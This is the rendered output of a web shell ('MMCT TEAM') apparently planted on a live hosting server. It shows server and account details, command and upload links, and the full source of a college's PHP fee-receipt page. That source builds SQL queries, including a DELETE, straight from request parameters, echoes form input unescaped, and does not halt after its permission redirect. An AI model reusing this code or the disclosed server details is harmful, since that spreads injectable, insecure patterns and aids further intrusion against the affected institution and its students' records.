MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/websites/bengaledu.e-campus.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/websites/bengaledu.e-campus.co.in/installmentd_recipt.php
<?php 
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
	  $installment_id=mysqli_fetch_array($installment_id); 
$installment_id=$installment_id['menuper'];
	  $menuper=explode(',',$installment_id);
	   
	   if(in_array('Manage Fee',$menuper)){
		  
	   }else{
		 
	header("location:index.php");
		   
		}

  

include('include/function.php');
include("include/header.php");
include("include/sidebar.php"); 
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
	$dovalue=""; 
	$doid=$_REQUEST['did'];
	mysqli_query($con,"delete from studentenquiry where StudenEnquiryID='$doid'");
	echo '<META HTTP-EQUIV="Refresh" Content="0; URL=Communication.php">';
	exit;
}
if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
	  $dovalue="EditStudentEnquiryEntry";
	  $doid=$_REQUEST['upid'];
	  $upuserresult=mysqli_query($con,"select * from student_enqury_form where id='".$_REQUEST['upid']."'");
	  $upuserarr=mysqli_fetch_array($upuserresult);
}else{
 	  $dovalue="StudentEnquiryEntry";
	  $doid='';
} 
?>
<style>
table, th, td {
    border: 1px solid black;
    border-collapse: collapse;
}
th, td {
    padding: 15px;
}
#printarea{  
  width: 27cm;
  height: 35.7cm; 
}
</style>
<div class="content-wrapper">
  <!-- Content Header (Page header) @page { size: auto;  margin: 0mm; } -->
  <section class="content-header">
    <h1>Recipt Design <small></small> </h1>
    <ol class="breadcrumb">
      <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
      <li><a href="#">Recipt Design</a></li>
    </ol>
  </section>
  <!-- Main content -->
  <section class="content">
    <div class="row">
      <div class="col-md-12">
        <div class="box box-info">
          <div class="box-header">
            <h3 class="box-title"> Recipt Design <small></small></h3>
            <!-- tools box -->
            <div class="pull-right box-tools">
              <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
              <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
            </div><!-- /. tools -->
          </div><!-- /.box-header -->
          <div class="box-body pad">
            <div class="col-md-12">
				 <form action="" method="post" >
				<input type="text" name="mobile" placeholder="Search By Mobile No Or Student Id"
value="<?php if(!empty($_POST['mobile'])){ echo $_POST['mobile']; }else{ } ?>"
				class="form-control col-md-3" style="width:300px;" />
				<input type="submit" value="Search" class="btn btn-primary"/>
				</form>
              
				
				<?php 
				
			
				$mobile=$_POST['mobile'];
				if(!empty($mobile) || !empty($stu_id_or_mobile)){ 
				
				$upuserresult1=mysqli_query($con,"select * from admission_enquiry_form left join commenacademicyear on
				admission_enquiry_form.academicyear=commenacademicyear.id where 
				admission_enquiry_form.mobileno='".$mobile."' or admission_enquiry_form.student_id='".$mobile."'" );
	  $upuserarr1=mysqli_fetch_array($upuserresult1);

				?>
				<?php 
				$collage=mysqli_query($con,"select * from collageinfo" );
	  $collage=mysqli_fetch_array($collage);  ?>
			 <input type='button' id='btn' value='Print' class='btn btn-primary'>
			<div class='col-md-12 fff' style=' height:1400px;' id='printarea'> 
			<div class='row'>
					<div class='col-md-2' style='height:100px;  margin-top:50px;' > 
					<img src="images/uploads/<?php echo $collage['logo']; ?>" height="100" width="100%"/>
					</div>
			
					<div class='col-md-10' style=' height:200px; margin-top:50px;' > 
					<h1><?php echo $collage['collagename']; ?></h1>
					
					<h3 class='pull-right' style='margin-right:45px;margin-top:-5px;'><?php echo $collage['collageaddr']; ?></h3>
				
					<h3 style='margin-top:60px;' ><b><center>Provisional BED Admission Voucher</center>
					</b></h3>
					
					</div>
					<h4  style='margin-right:45px;padding-top:50px;margin-left:45px;'><b>College Phone:</b>  
					<?php echo $collage['collagephone']; ?>
					&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>College Email:</b><?php echo $collage['collageemail']; ?>   </h4>
					
						<h4  style='margin-right:45px;padding-top:10px;margin-left:45px;'><b>Name: </b> 
						<?php echo $upuserarr1['name']; ?>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				
	<b>Student Code:</b>  <?php echo $upuserarr1['student_id']; ?> </h4>
					
					<h4  style='margin-right:45px;padding-top:10px;margin-left:45px;'><b>Session: </b> <?php echo $upuserarr1['academictitle']; ?>
					&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
					&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>Date:</b> <?php echo date('Y-m-d'); ?> </h4>
					<h4  style='margin-right:45px;padding-top:10px;margin-left:45px;'>Non - refundable fee structure 
					for 2 years B.Ed course of our college is as follows </h4>
					<table style="width:80%" style='margin-top:220px;' class='pull-right' border='1'>
						  <tr>
							<th style='width:100px;'><b>Sl.No.</b></th>
							<th><b>Fee Details</b></th> 
							<th><b>Amount</b></th>
						  </tr>
						
						  <tr>
							<td style='width:100px;'>1</td>
							<td>Total Fee</td>
							
							<td><?php echo $upuserarr1['totalfee']-$upuserarr1['lessdiscount'].'.00'; ?></td>
						  </tr> 
						  <tr>
							<td style='width:100px;'>2</td>
							<td>Current Installment Amount</td>
							<td>  <?php $amount1=mysqli_query($con,"select * from setinstallment

						  where studentid='".$upuserarr1['student_id']."' order by installmentdate asc" );
	                     $i=1;
							while($Rows=mysqli_fetch_array($amount1)){ 
							$amountjg=mysqli_query($con,"select * from payinstallment

													  where installment_id='".$Rows['id']."'" );
									  $Rowd=mysqli_fetch_array($amountjg);   
									  $cou=mysqli_num_rows($amountjg);
									
							if($cou==0){	
						echo $Rows['amount'].'.00';
											break;
										   
							        }
							 $i++;
							} ?>
							
							
							</td>
							 </tr>
						 <tr>
							<td style='width:100px;'>3</td> 
							<td>Amount Receive</td>
							<td><?php $amountjg=mysqli_query($con,"select *  from payinstallment

													  where enquiry_id='".$upuserarr1['student_id']."' order by payment_date desc" );
									  $cureentpayment=mysqli_fetch_array($amountjg);
									 
                                      echo $cureentpayment['payment_amount'].'.00';   
									  ?></td> 
							
						  </tr>
						    <tr>  
							<td style='width:100px;'>4</td>   
							<td>Total Paid Till Date</td>
							<?php $amount1=mysqli_query($con,"select *,sum(payment_amount) as amount from payinstallment
							where enquiry_id='".$upuserarr1['student_id']."'" ); 
	                    $amount1=mysqli_fetch_array($amount1);  ?>
							<td><?php echo $amount1['amount']+$upuserarr1['submitfee'].'.00'; ?></td>  
							
						  </tr>
							  <tr> 
							<td style='width:100px;'>5</td>  
							<td><b>Due Fees </b></td> 
							<td><b><?php echo '&#8377;'.$upuserarr1['dueamount'].'.00'; ?></b></td>
							
						
						  </tr>
						</table>
						<div class='col-md-12'>
						<h3 style='margin-left:260px; '><b>Amount in words:</b>&nbsp;&nbsp;&nbsp;&nbsp;<?php 
						$number = $upuserarr1['dueamount'].'.00';
   $no = round($number);
   $point = round($number - $no, 2) * 100;
   $hundred = null;
   $digits_1 = strlen($no);
   $i = 0;
   $str = array();
   $words = array('0' => '', '1' => 'One', '2' => 'Two',
    '3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
    '7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
    '10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
    '13' => 'Thirteen', '14' => 'Fourteen',
    '15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
    '18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
    '30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
    '60' => 'Sixty', '70' => 'Seventy',
    '80' => 'Eighty', '90' => 'Ninety');
   $digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
   while ($i < $digits_1) {
     $divider = ($i == 2) ? 10 : 100;
     $number = floor($no % $divider);
     $no = floor($no / $divider);
     $i += ($divider == 10) ? 1 : 2;
     if ($number) {
        $plural = (($counter = count($str)) && $number > 9) ? 's' : null;
        $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
        $str [] = ($number < 21) ? $words[$number] .
            " " . $digits[$counter] . $plural . " " . $hundred
            :
            $words[floor($number / 10) * 10]
            . " " . $words[$number % 10] . " "
            . $digits[$counter] . $plural . " " . $hundred;
     } else $str[] = null;
  }
  $str = array_reverse($str);
  $result = implode('', $str);
  $points = ($point) ?
    "." . $words[$point / 10] . " " . 
          $words[$point = $point % 10] : '';
  echo $result . "Rupees  " . $points . " Paise";
						?></h3>
						<h4 style='margin-top:10px; '>I am agree with the fee payment schedule</h4>
						 <table style="width:100%" style='margin-top:220px;' class='pull-right' border='1'>
						  <tr>
							<th style='width:200px;'><b>Fee Detail</b></th>
							<th><b>Schedule Date</b></th> 
							<th><b>Late Fine</b></th>
							<th><b>Payment Date</b></th> 
							<th><b>Payment Amount</b></th>
							
							
						  </tr>
						  <tr>
							<td style='width:200px;'>Admission Fee</td>
							<td><?php echo $upuserarr1['admissiondate']; ?></td>
							<td>Not Applicable</td>
							<td><?php echo $upuserarr1['created_at']; ?></td>
							<td><?php echo $upuserarr1['submitfee'].'.00'; ?></td>
						  </tr>
						  <?php $amount1=mysqli_query($con,"select * from setinstallment
right join payinstallment on setinstallment.id=payinstallment.installment_id
						  where studentid='".$upuserarr1['student_id']."'" );
	                     $i=1;
while($Row=mysqli_fetch_array($amount1)){ 						?>
						  <tr>
							<td style='width:200px;'> <?php echo $i.'St Installment'; ?></td>
							<td><?php echo $Row['installmentdate']; ?></td>
							<td><?php echo $Row['latefine'].'.00'; ?></td>
							<td><?php echo $Row['payment_date']; ?></td>
							<td><?php echo $Row['payment_amount'].'.00'; ?></td>
						  </tr>
<?php $i++;} ?>
						  
						</table>
						</div> 
						<div class='col-md-12'>
						<h3>Signature of acceptance of
Admitted student with date</h3>
						<h3 class='pull-right'><b>Accounts Officer with stamp</b></h3>
						
						 
						</div> 
						
						
			</div>
			</div>
				<?php } ?>
            </div>
          </div>
        </div><!-- /.box -->
      </div><!-- /.col-->
    </div><!-- ./row -->
  </section><!-- /.content -->
</div>
<?php include('include/footer.php');?>
<script src='https://cdnjs.cloudflare.com/ajax/libs/PrintArea/2.4.1/jquery.PrintArea.min.js'></script>
<script>
$(document).ready(function() {
   $("#btn").click(function(){
        var mode = 'iframe'; //popup
        var close = mode == "popup";
        var options = { mode : mode, popClose : close};
        $("#printarea").printArea( options );
    });
   
});
</script>
	

MMCT - 2023